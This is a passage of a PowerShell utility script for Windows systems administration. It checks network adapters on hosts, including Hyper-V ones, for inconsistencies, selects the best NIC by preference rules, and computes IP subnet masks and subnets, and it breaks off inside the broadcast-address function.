      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'VMSMP') -and ($oneAdapter.ProductName -ne 'Hyper-V Virtual Ethernet Adapter') -and ($oneAdapter.ProductName -ne 'Hyper-V Virtual Switch Extension Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft Virtual Network Switch Adapter') }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -ne 'VMSMP') -and (($oneAdapter.ProductName -eq 'Hyper-V Virtual Ethernet Adapter') -or ($oneAdapter.ProductName -eq 'Hyper-V Virtual Switch Extension Adapter') -or ($oneAdapter.ProductName -eq 'Microsoft Virtual Network Switch Adapter')) }

      if (($oneNIC.ServiceName -eq 'VMSMP') -and ($oneAdapter.ProductName -eq 'Hyper-V Virtual Ethernet Adapter') -and (-not $oneAdapter.PhysicalAdapter)) {

        DBGIF "Weird NIC: $nicOutStr || $theOneNonphysicalHyperVEthernetAdapter" { Is-ValidString $theOneNonphysicalHyperVEthernetAdapter }
        # Note: there is always only one such adapter on Hyper-V host
        $theOneNonphysicalHyperVEthernetAdapter = $nicOutStr
      }

      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'VMSMP') -and ($oneAdapter.ProductName -eq 'Hyper-V Virtual Switch Extension Adapter') -and ($oneAdapter.MacAddress -ne '00:00:00:00:00:00') -and (Is-ValidString $oneAdapter.MacAddress) }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'VMSMP') -and ($oneAdapter.ProductName -eq 'Hyper-V Virtual Switch Extension Adapter') -and ($oneNIC.IPAddress -ne $null) }

      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'NetFt') -and ($oneAdapter.ProductName -ne 'Microsoft Failover Cluster Virtual Adapter') }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -ne 'NetFt') -and ($oneAdapter.ProductName -eq 'Microsoft Failover Cluster Virtual Adapter') }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'NetFt') -and $oneAdapter.PhysicalAdapter }
    
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -eq 'NdisImPlatformMp') -and ($oneAdapter.ProductName -ne 'Microsoft Network Adapter Multiplexor Driver') -and ($oneAdapter.ProductName -ne 'Microsoft Network Adapter Multiplexor Default Miniport') }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.ServiceName -ne 'NdisImPlatformMp') -and (($oneAdapter.ProductName -eq 'Microsoft Network Adapter Multiplexor Driver') -or ($oneAdapter.ProductName -eq 'Microsoft Network Adapter Multiplexor Default Miniport')) }

      # Note: PhysicalAdapter is not available on Windows 2003 and older
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 6) -and $oneAdapter.PhysicalAdapter -and (Is-EmptyString $oneAdapter.NetConnectionId) }
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 6) -and (-not $oneAdapter.PhysicalAdapter) -and (Is-ValidString $oneAdapter.NetConnectionId) }
    
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 6) -and $oneAdapter.PhysicalAdapter -and (Is-EmptyString $oneAdapter.GUID) }
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 6) -and (-not $oneAdapter.PhysicalAdapter) -and (Is-ValidString $oneAdapter.GUID) }

      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.GUID) -and ($oneAdapter.GUID -ne $oneNIC.SettingID) }
      DBGIF "Weird NIC: $nicOutStr" { Is-EmptyString $oneNIC.SettingID }
    
      DBGIF "Weird NIC: $nicOutStr" { ($oneAdapter.NetConnectionStatus -eq 4) -and (Is-ValidString $oneAdapter.MacAddress) }
      DBGIF "Weird NIC: $nicOutStr" { ($oneAdapter.NetConnectionStatus -eq 4) -and $oneAdapter.NetEnabled }
      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.NetConnectionStatus) -and ($oneAdapter.NetConnectionStatus -ne 4) -and (-not $oneAdapter.NetEnabled) }
      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.NetConnectionStatus) -and ($oneAdapter.NetConnectionStatus -ne 4) -and ($oneAdapter.NetConnectionStatus -ne 2) }
    
      DBGIF "Weird NIC: $nicOutStr" { (($oneAdapter.NetConnectionStatus -eq 2) -or $oneAdapter.NetEnabled) -and (Is-EmptyString $oneAdapter.MacAddress) }
    
      $oneNIC.IPAddress | % { DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $_) -and (-not (Is-IPv4OrIPv6Address $_)) } }
      $oneNIC.IPAddress | % { DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $_) -and (Is-IPv6Address $_ $true) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp6)) } }
      $oneNIC.IPAddress | % { DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $_) -and ($_ -match $global:rxIPv4) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp)) } }

      DBGIF "Weird NIC: $nicOutStr" { (-not ($oneAdapterLinkage.Count -gt 0)) -and ($oneAdapter.ProductName -notlike 'WAN Miniport*') -and ($oneAdapter.ProductName -ne 'Packet Scheduler Miniport') }
      DBGIF "Weird NIC: $nicOutStr" { (-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and ($oneAdapter.ProductName -notlike 'WAN Miniport*') -and ($oneAdapter.ProductName -ne 'RAS Async Adapter') -and ($oneAdapter.ProductName -ne 'Direct Parallel') -and ($oneAdapter.ProductName -ne 'Packet Scheduler Miniport') -and ($oneAdapter.ProductName -ne 'Microsoft 6to4 Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft ISATAP Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft Teredo Tunneling Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft Kernel Debug Network Adapter') -and (-not (Contains-Safe $oneAdapterLinkage VMSP)) -and (-not (Contains-Safe $oneAdapterLinkage VMSVSP)) }

      # Note: on Windows 2016 WANARP links to the "WAN Miniport" while on Windows 2012 R2- the NDISWAN links to it instead
      DBGIF "Weird NIC: $nicOutStr" { -not ((($global:thisOSVersionNumber -ge 10) -and (Contains-Safe $oneAdapterLinkage VMSP) -and (Contains-Safe $oneAdapterLinkage TcpIp) -and (Contains-Safe $oneAdapterLinkage TcpIp6)) -or ((Contains-Safe $oneAdapterLinkage TcpIp) -xor (Contains-Safe $oneAdapterLinkage VMSP) -xor (Contains-Safe $oneAdapterLinkage VMSVSP) -xor (Contains-Safe $oneAdapterLinkage NdisWan) -xor (Contains-Safe $oneAdapterLinkage wanarp) -xor (Contains-Safe $oneAdapterLinkage wanarpv6) -xor ((Get-CountSafe $oneAdapterLinkage) -eq 0) -xor (((Contains-Safe $oneAdapterLinkage TcpIp6) -or (Contains-Safe $oneAdapterLinkage TcpIp6Tunnel)) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and ($oneAdapter.ProductName -eq 'Microsoft ISATAP Adapter')) -xor ((Contains-Safe $oneAdapterLinkage TcpIp6) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and ($oneAdapter.ProductName -eq 'Microsoft Teredo Tunneling Adapter')) -xor ((Contains-Safe $oneAdapterLinkage TcpIp6) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and ($oneAdapter.ProductName -eq 'Microsoft Kernel Debug Network Adapter')) -xor ((Contains-Safe $oneAdapterLinkage TcpIp6) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and ($oneAdapter.ProductName -eq 'Microsoft 6To4 Adapter')))) }
      DBGIF "Weird NIC: $nicOutStr" { (Contains-Safe $oneAdapterLinkage VMSP) -and ($oneAdapter.Service -eq 'VMSMP') }
      # $oneAdapter.linkage VMSP                                           = real NIC raped by Hyper-v Switch
      # $oneAdpater.service VMSMP                                          = virtual Hyper-V NIC or a private Hyper-V switch
      # $oneAdapter.productName "Hyper-V Virtual Switch Extension Adapter" = virtual Hyper-V NIC or a private Hyper-V switch
      # $oneAdapter.linkage VMSVSP                                         = private Hyper-V switch
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -lt 10) -and (Contains-Safe $oneAdapterLinkage VMSP) -and ((Contains-Safe $oneAdapterLinkage TcpIp) -or (Contains-Safe $oneAdapterLinkage TcpIp6) -or ($oneNIC.IPAddress -ne $null) -or ($oneAdapter.MacAddress -eq $null) -or ($oneAdapter.MacAddress -notlike '??:??:??:??:??:??')) }
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 10) -and (Contains-Safe $oneAdapterLinkage VMSP) -and (((-not (Contains-Safe $oneAdapterLinkage TcpIp)) -and (-not (Contains-Safe $oneAdapterLinkage TcpIp6))) -or ($oneNIC.IPAddress -ne $null) -or ($oneAdapter.MacAddress -eq $null) -or ($oneAdapter.MacAddress -notlike '??:??:??:??:??:??')) }
      DBGIF "Weird NIC: $nicOutStr" { (Contains-Safe $oneAdapterLinkage VMSVSP) -and ((Contains-Safe $oneAdapterLinkage TcpIp) -or (Contains-Safe $oneAdapterLinkage TcpIp6)) }
#>

      Get-Member -Input $oneAdapter -MemberType Property | ? { $_.Name -notlike '__*' } | % {
        
        Add-Member -Input $oneNIC -MemberType NoteProperty -Name ('Adepter{0}' -f $_.Name) -Value $oneAdapter."$($_.Name)"
      }

      Add-Member -Input $oneNIC -MemberType NoteProperty -Name Bindings -Value $oneAdapterLinkage
    }

    DBGSTART
    $vmms = $null
    $vmms = Get-WmiObject MSVM_VirtualSystemManagementService -namespace $global:virtualizationNamespace
    DBGEND

<#
Note: still valid but poses lots of false alarms

    DBGIF "Weird NIC: not present on Hyper-V on Windows 2012 R2 and older" { (Is-NonNull $vmms) -and (Is-EmptyString $theOneNonphysicalHyperVEthernetAdapter) -and ($global:thisOSVersionNumber -le 6.3) }
    DBGIF "Weird NIC: present on Hyper-V on Windows 2016 and newer" { (Is-NonNull $vmms) -and (Is-ValidString $theOneNonphysicalHyperVEthernetAdapter) -and ($global:thisOSVersionNumber -ge 10.0) }
#>

    if (Is-ValidString $saveCsvDebugFile) {

      DBG ('Save NIC inventory: {0}' -f $saveCsvDebugFile)
      $BSINinternalAllNICs | Export-Csv -Path $saveCsvDebugFile -NoTypeInformation -Encoding Unicode -Delimiter "`t" -Force
    }

    DBGIF '======== NIC inventory END ========' { $true }
  }


  DBG ('Proceed with best NIC selection')
  # Note: We use [ScriptBlock] here so the variable rather not interfere with the inside variable of $subcondition
  [System.Collections.ArrayList] $BSINinternalAllValidNICs = Get-WMIQueryArray '.' $global:wmiFltValidNIC 'root/CIMv2' $false

  #$BSINinternalAllValidNICs | % { $_.IPAddress | % { DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $_) } } }

  # Move the Hyper-V host VMSMP NICs to the end of the list first
  # so that the non-HyperVized host NICs are always better
  [System.Collections.ArrayList] $BSINinternalAllValidNICsPrioritizeNonHyperV = @()
  
  $BSINinternalAllValidNICs | ? { ($_.ServiceName -ne 'VMSMP') -and ($_.ServiceName -ne 'VMSNPXYMP') } | % { [void] $BSINinternalAllValidNICsPrioritizeNonHyperV.Add($_) }
  $BSINinternalAllValidNICs | ? { ($_.ServiceName -eq 'VMSMP') -or ($_.ServiceName -eq 'VMSNPXYMP') } | % { [void] $BSINinternalAllValidNICsPrioritizeNonHyperV.Add($_) }
  # Note: in PowerShell 2.0, the previous [ArrayList].Add() method somehow spoils the members of the collection
  #       if I do not re-add (and thus re-wrap) the objects through the following pipe, the later Add-Member
  #       does not work. It does not add the member at all, although without any error produced.
  #       I didn't find any other problem with the .Add() method except for the case of Add-Member
  $BSINinternalAllValidNICs.Clear()
  $BSINinternalAllValidNICs += ($BSINinternalAllValidNICsPrioritizeNonHyperV | ? { $true })


  DBG ('Add adapter info for every NIC')
  foreach ($oneValidNIC in $BSINinternalAllValidNICs) {

    $oneAdapter = Get-WmiRelatedSingle $oneValidNIC 'Win32_NetworkAdapter'
    $onePnP = Get-WmiRelatedSingle $oneAdapter 'Win32_PnpEntity' # also Network Monitor virtual NIC does not have an associated PnPEntity, we do not want such weird NICs here
    DBGSTART
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name NetConnectionStatus -Value $oneAdapter.NetConnectionStatus
    # Note: should be '' or PowerShell 2.0 cannot assign to the field in case of $null later - error: make sure it exists and is settable
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name PrefItemMatched -Value ''
    # Note: $oneAdapter.Name is sometimes duplicate as Hyper-V spoils the terminating #index
    #       it happens that externally ported/switched NICs loose their #index in the $oneAdapter.Name
    #       while they do not loose the index in $onePnP.Name
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name NameIndexed -Value $onePnP.Name
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name PnPStatus -Value $onePnP.Status
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name PnPDeviceId -Value $onePnP.DeviceId
    Add-Member -Input $oneValidNIC -MemberType NoteProperty -Name NetEnabled -Value ($oneAdapter.NetEnabled -or (($global:thisOSVersionNumber -eq 5.2) -and ($oneAdapter.NetConnectionStatus -ne 4)))
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  DBG ('Add linkage from registry into each adapter''s binding: # = {0}' -f (Get-CountSafe $BSINinternalAllValidNICs))
  foreach ($oneNIC in $BSINinternalAllValidNICs) {

    [System.Collections.ArrayList] $oneNICLinkage = @()
    $BSINallLinkage | ? { (Contains-SafeWildcard $_.Bindings ('\Device\*{0}' -f $oneNIC.SettingID)) } | % { [void] $oneNICLinkage.Add($_.BindingName) }
    Add-Member -Input $oneNIC -MemberType NoteProperty -Name Bindings -Value $oneNICLinkage

    DBG ('A valid NIC to be prioritized: {0} | {1} | {2} | {3}' -f ($oneNIC.IPAddress -join ','), $oneNIC.Description, $oneNIC.ServiceName, ($oneNIC.Bindings -join ','))
  }


  DBG ('Filter out some NICs with the subcondition: {0}' -f (Is-NonNull $subCondition))
  if (Is-NonNull $subCondition) {

    [Collections.ArrayList] $BSINinternalAllValidNICsToSubcondition = @()
    $BSINinternalAllValidNICsToSubcondition += $BSINinternalAllValidNICs

    $BSINinternalAllValidNICs.Clear()
    $BSINinternalAllValidNICs += ($BSINinternalAllValidNICsToSubcondition | ? $subCondition)
  }


  DBGIF ("Weird NIC: duplicated adapter names: {0}" -f (($BSINinternalAllValidNICs | Select @{ n = 'NamePlusIndex' ; e = { '{0}={1}' -f $_.NameIndexed, $_.InterfaceIndex } } | Select -Expand NamePlusIndex | Sort) -join ', ')) { (-not $doNotAssert) -and ((Get-CountSafe $BSINinternalAllValidNICs) -ne ($BSINinternalAllValidNICs | Select -Unique NameIndexed | Measure).Count) }


  [System.Collections.ArrayList] $validNICs = @()

  $preferenceConditions = @{

    LinkUp = { $_.NetConnectionStatus -eq 2 }
    LinkDown = { $_.NetConnectionStatus -eq 7 }
    DnsReg = { ($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true) }
    PrivIp = { Is-IPAddressPrivate $_.IPAddress }
    AnyIP = { (Is-NonNull $_.IPAddress) -and ((Get-CountSafe $_.IPAddress) -gt 0) }
    NoIP = { (Is-Null $_.IPAddress) -or (-not ((Get-CountSafe $_.IPAddress) -gt 0)) }
    APIPA = { Contains-SafeWildcard $_.IPAddress '169.254.?*.?*' }
    NoDhcp = { ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) }
    Dhcp = { $_.DHCPEnabled -eq $true }
    DnsIp = { Is-NonNull $_.DNSServerSearchOrder }
    PrivateDnsIP = { Is-IPAddressPrivate $_.DNSServerSearchOrder[0] }
    DG = { (Get-CountSafe $_.DefaultIPGateway) -gt 0 }
    NoDG = { (Get-CountSafe $_.DefaultIPGateway) -lt 1 }
    MyDnsSufx = { (Is-ValidString $global:thisComputerDomain) -and ($_.DNSDomain -eq $global:thisComputerDomain) }
    BindTcp = { Contains-Safe $_.Bindings TcpIp }
    HyperV = { (($_.ServiceName -eq 'VMSMP') -or ($_.ServiceName -eq 'VMSNPXYMP')) -and ((Contains-Safe $_.Bindings TcpIp) -or (Contains-Safe $_.Bindings TcpIp6)) }
    NonHyperV = { -not ((($_.ServiceName -eq 'VMSMP') -or ($_.ServiceName -eq 'VMSNPXYMP')) -and ((Contains-Safe $_.Bindings TcpIp) -or (Contains-Safe $_.Bindings TcpIp6))) }
  }


  $preferenceItemsDefault = @(
    'i01_DnsReg_PrivIp_NoDhcp_DnsIp_PrivateDnsIP_DG_MyDnsSufx',
    'i02_DnsReg_PrivIp_NoDhcp_DnsIp_PrivateDnsIP_DG',
    'i03_DnsReg_PrivIp_NoDhcp_DnsIp_PrivateDnsIP',
    'i04_DnsReg_PrivIp_NoDhcp_DnsIp_DG_MyDnsSufx',
    'i05_DnsReg_PrivIp_NoDhcp_DnsIp_DG',
    'i06_DnsReg_PrivIp_NoDhcp_DnsIp',
    'i07_DnsReg_PrivIp_Dhcp_DnsIp_DG_MyDnsSufx',
    'i08_DnsReg_PrivIp_Dhcp_DnsIp_DG',
    'i09_DnsReg_PrivIp_Dhcp_DnsIp',
    'i10_DnsReg_PrivIp_NoDhcp',
    'i11_DnsReg_PrivIp_Dhcp',
    'i12_LinkUp_AnyIP',
    'i13_AnyIP',
    'i14_BindTcp'
    )


  DBG ('Default preference items defined: {0}' -f (Get-CountSafe $preferenceItemsDefault))


  function Check-PrefItem ([string] $onePrefItem, [ref] $validNICs)
  {
    DBG ('One preference requested: {0}' -f $onePrefItem)
    $builtPreferenceItem = [ScriptBlock]::Create((($onePrefItem.Split('_') | ? { $_ -notlike 'i[0-9][0-9]' } | % { 
      
      $conditionStr = [string] $preferenceConditions.$_
      DBGIF ('Invalid condition token: {0}' -f $_) { Is-EmptyString $conditionStr }
      ('({0})' -f $conditionStr)
      
      }) -join ' -and '))

    DBG ('Built preference item: {0}' -f $builtPreferenceItem.ToString())
      
    $foundNICsTemp = $null
    $foundNICsTemp = $BSINinternalAllValidNICs | ? $builtPreferenceItem
    DBG ('Found: {0}' -f (Get-CountSafe $foundNICsTemp))

    if ((Get-CountSafe $foundNICsTemp) -gt 0) {
       
      # Note: PowerShell 2.0 is piping $null as well
      $validNICs.Value += $foundNICsTemp | % { if (Is-EmptyString $_.PrefItemMatched) { $_.PrefItemMatched = $onePrefItem } ; $_ }
    }
  }


  DBG ('Preference items requested: {0} | {1}' -f $preferenceItemsRequested.Count, ($preferenceItemsRequested -join ','))
  if ($preferenceItemsRequested.Count -gt 0) {

    foreach ($onePrefItem in $preferenceItemsRequested) {

      Check-PrefItem $onePrefItem ([ref] $validNICs)
    }
  }


  DBG ('Going to process the default preference items: {0}' -f $doDefault)

  if ($doDefault) {

    foreach ($onePrefItem in $preferenceItemsDefault) {

      Check-PrefItem $onePrefItem ([ref] $validNICs)
    }
  }

<#
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-IPAddressPrivate $_.DNSServerSearchOrder[0]) -and (Is-NonNull $_.DefaultIPGateway) -and (Is-NonNull $_.DNSDomain -eq $global:thisComputerDomain) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-IPAddressPrivate $_.DNSServerSearchOrder[0]) -and (Is-NonNull $_.DefaultIPGateway) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-IPAddressPrivate $_.DNSServerSearchOrder[0]) } | % { [void] $validNICs.Add($_) }

  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-NonNull $_.DefaultIPGateway) -and (Is-NonNull $_.DNSDomain -eq $global:thisComputerDomain) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-NonNull $_.DefaultIPGateway) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) -and (Is-NonNull $_.DNSServerSearchOrder) } | % { [void] $validNICs.Add($_) }



  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $true) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-NonNull $_.DefaultIPGateway) -and (Is-NonNull $_.DNSDomain -eq $global:thisComputerDomain) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $true) -and (Is-NonNull $_.DNSServerSearchOrder) -and (Is-NonNull $_.DefaultIPGateway) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $true) -and (Is-NonNull $_.DNSServerSearchOrder) } | % { [void] $validNICs.Add($_) }


  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $false) -and (Is-Null $_.DHCPServer) } | % { [void] $validNICs.Add($_) }
  $BSINinternalAllValidNICs | ? { (($_.FullDNSRegistrationEnabled -eq $true) -or ($_.DomainDNSRegistrationEnabled -eq $true)) -and (Is-IPAddressPrivate $_.IPAddress) -and ($_.DHCPEnabled -eq $true) } | % { [void] $validNICs.Add($_) }
#>

  DBG ('And the rest of NICs: {0}' -f $doNonMatching)
  if ($doNonMatching) {

    $validNICs += $BSINinternalAllValidNICs
  }



  $bestNIC = $null
  $bestAdapter = $null
  [System.Collections.ArrayList] $validNICsUnique = @()

  for ($i = 0; $i -lt $validNICs.Count; $i ++) {

    $dbgIPAddr = ''
    if ((Is-NonNull $validNICs[$i]) -and (Is-NonNull $validNICs[$i].IPAddress)) { $dbgIPAddr = $validNICs[$i].IPAddress[0] }
    DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString $dbgIPAddr) -and (-not (Is-IPv4OrIPv6Address $dbgIPAddr)) }

    $validNICAdapter = Get-WmiRelatedSingle $validNICs[$i] 'Win32_NetworkAdapter'
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $validNICAdapter }
    DBGIF ('Very low speed for a network adapter: {0}' -f $validNICAdapter.Speed) { ($validNICAdapter.Speed -gt 0) -and ($validNICAdapter.Speed -lt 10MB) }

    if ($validNICAdapter.Speed -gt 0) {

      DBG ('Quality NIC filter found NIC: #{0} | {1} | ip = {2} | {3} | speed = {4}' -f $i, (Is-NonNull $validNICs[$i]), $dbgIPAddr, $validNICs[$i].Description, $validNICAdapter.Speed)

      if (-not (Contains-Safe $validNICsUnique $validNICs[$i].Index 'Index')) {

        $validNICsUnique += $validNICs[$i]
      }

      if (Is-NonNull $validNICs[$i]) {

        if (Is-Null $bestNIC) {
      
          $bestNIC = $validNICs[$i]
          $bestAdapter = $validNICAdapter
          DBG ('The best NIC found at index: {0}' -f $i)
      
        } elseif ($bestAdapter.Speed -lt $validNICAdapter.Speed) {

          # Note: Cisco AnyConnect virtual adapter behaves like a normal Ethernet interface
          #       so that in case it is connected, unfortunatelly, it is just like another physical NIC
          #       the only difference is a slightly lower speed (995...)
          $bestNIC = $validNICs[$i]
          $bestAdapter = $validNICAdapter
          DBG ('Better NIC found at index: {0}' -f $i)
        }
      }
    }
  }


  DBGIF $MyInvocation.MyCommand.Name { Is-Null $bestNIC }

  if (Is-NonNull $bestNIC) {

    DBG ('Best NIC determined as: ip = {0} | gw = {1} | dns = {2} | {3} | speed = {4}' -f (Format-MultiValue $bestNIC.IPAddress), (Format-MultiValue $bestNIC.DefaultIPGateway), (Format-MultiValue $bestNIC.DNSServerSearchOrder), $bestNIC.Description, $bestAdapter.Speed)
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $bestNIC.NameIndexed }
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $bestNIC.PrefItemMatched }

    if ($returnAll) {
  
      return ,$validNICsUnique

    } else {
    
      return $bestNIC
    }
  
  } else {

    return $null
  }
}


function global:Get-IPSubnetBits ([string] $mask)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { $mask -notlike '*.*.*.*' }

  $maskVals = @{255 = 8; 254 = 7; 252 = 6; 248 = 5; 240 = 4; 224 = 3; 192 = 2; 128 = 1; 0 = 0}
  [int] $bitmask = 0

  DBGSTART
  $mask.Split('.') | % { $bitmask += $maskVals[[int] $_] } 
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  return $bitmask
}


function global:Get-IPSubnetMask ([string] $bitMask)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $bitMask }

  [string] $mask = $null

  $bitMask = $bitMask.Trim().Trim('\').Trim('/').Trim(':')

  [string[]] $maskArray = @()
  $maskArray += @('255') * [Math]::Floor($bitMask / 8)
  $maskArray += (255 - ([math]::pow(2,(8 - ($bitMask % 8))) - 1))
  $maskArray += @('0', '0', '0', '0')
  $mask = $maskArray[0..3] -join '.'
  
  return $mask
}


function global:Get-IPSubnet ([string] $ipAddress, [string] $mask)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $ipAddress }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $mask }
  DBGIF $MyInvocation.MyCommand.Name { $ipAddress -notlike '*.*.*.*' }

  [int] $bitMask = 0
  [string] $subnet = ''

  DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $ipAddress) }

  if ((Is-ValidString $ipAddress) -and ($ipAddress -like '*.*.*.*') -and (Is-ValidString $mask)) {

    if (-not $mask.Contains('.')) {

      $bitMask = $mask
      $mask = Get-IPSubnetMask $bitMask

    } else {

      $bitMask = Get-IPSubnetBits $mask
    }

    $i = 0
    [string[]] $subnetArray = @()

    while ($i -lt 4) {

      $subnetArray += [string] ([byte] $ipAddress.Split('.')[$i]) -band ([byte] $mask.Split('.')[$i])
      $i ++
    }

    $subnet = $subnetArray -join '.'
    DBGIF $MyInvocation.MyCommand.Name { $subnet -notlike '*.*.*.*' }
  }

  DBG ('IP subnet determined: ip = {0} | mask = {1} | bitmask = {2} | subnet = {3}' -f $ipAddress, $mask, $bitmask, $subnet)
  DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $subnet) }
  return $subnet
}


function global:Get-IPBroadcast ([string] $ipAddress, [string] $mask)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $ipAddress }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $mask }
  DBGIF $MyInvocation.MyCommand.Name { $ipAddress -notlike '*.*.*.*' }

  [int] $bitMask = 0
  [string] $broadcast = ''

  DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $ipAddress) }

  if ((Is-ValidString $ipAddress) -and ($ipAddress -like '*.*.*.*') -and (Is-ValidString $mask)) {

    if (-not $mask.Contains('.')) {

      $bitMask = $mask
